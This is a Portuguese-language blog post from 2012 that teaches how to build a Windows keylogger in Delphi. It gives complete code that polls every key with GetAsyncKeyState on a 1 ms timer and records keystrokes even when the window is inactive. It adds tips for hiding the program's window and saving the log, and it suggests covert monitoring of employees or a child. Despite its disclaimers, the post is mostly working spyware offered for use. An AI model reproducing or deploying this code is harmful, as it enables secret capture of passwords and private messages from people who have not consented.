Dica: Como criar um keylogger! (em Delphi)
Autor: Unknown | Publicado: 2012-05-21T11:48:00-07:00


ESSE TEXTO TEM CARÁTER DIDÁTICO / APRENDIZADO DE&nbsp;PROGRAMAÇÃO. O USO QUE SE FARÁ DA INFORMAÇÃO É DE SUA TOTAL RESPONSABILIDADE. ELE DEVE SER USADO PARA FINS LEGAIS APENAS.por Marcos EliasEssa dica de Delphi é muuuuito boa! Um tempão atrás disso... Finalmente achei algo significante... Use por sua conta e risco!!!Um método fácil de capturar TUDO O QUE É DIGITADO no computador com&nbsp;Windows, ou seja, um método fácil de criar um keylogger. É uma dica de programação, portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras versões também...Como é avançada, apesar de relativamente fácil, não vou comentar muito, ok?! Se você tiver dúvidas, comentários ou sugestões deixe um comentário neste&nbsp;post, e NÃO me envie e-mails perguntando porque não tenho tempo para responder sobre programação ou coisas avançadas.Inicie o Delphi e crie um novo&nbsp;projeto. Insira um Memo e um Timer.No código, defina a seguinte função:function&nbsp;Coloca(txt:&nbsp;String):&nbsp;String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;E coloque no evento Timer do temporizador:procedure&nbsp;TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if&nbsp;KeyResult = -32767&nbsp;then
begin
case&nbsp;keyloop&nbsp;of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if&nbsp;(KeyLoop &gt;= 65)&nbsp;and&nbsp;(keyloop &lt;= 90)&nbsp;then
Coloca(Chr(keyloop));
if&nbsp;(keyloop &gt;= 32)&nbsp;and&nbsp;(keyloop &lt;= 63)&nbsp;then
Coloca(Chr(keyloop));
//numpad keycodes
if&nbsp;(keyloop &gt;= 96)&nbsp;and&nbsp;(keyloop &lt;= 110)&nbsp;then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until&nbsp;keyloop = 255;
end;ah sim, ia esquecendo.. coloque o interval do timer para "1"... senão ficará difícil captar neh.. rse ++:
é bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficará repedito e confuso..Então... Rode o programa (tecle F9).Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela não estiver ativa (digo, se estiver por trás das outras ou ocultas). Keylogger que se preze... Não fica em janela!Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é com você...Dica: para ocultar o programa, digite Application.ShowMainForm := False, no código-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm... Mas aí você deverá ter criado um método para recuperar o que foi digitado, né?!Adapte o programa como você quiser, afinal aqui apenas mostrei como é possível capturar o que foi digitado. Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do Windows, através da guia "Processos".deixo claro que esse código realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PAÍSES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA ESTÁ SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONÁRIOS DEVEM USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO DEVE SER DEIXADO BEM CLARO EM CONTRATO.NÃO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO DESTES CÓDIGOS AQUI APRESENTADOS. USE COM CONSCIÊNCIA E RESPONSABILIDADE, SEMPRE.Nada como uma dica dessas comemorando esse UM ANO do Explorando!NOTA:&nbsp;Apesar de funcionar, essa forma de criar keylogger é uma gambiarra tremenda. Não é ideal usar um Timer para isso, devido o processamento, quem sabe em alguma situação com uso intensivo de CPU por outras aplicações algumas teclas deixem de ser capturadas. O melhor é estudar sobre Hooks usando a API do Windows que intercepta os caracteres enviados pelo teclado, mas falar disso fica para uma outra hora.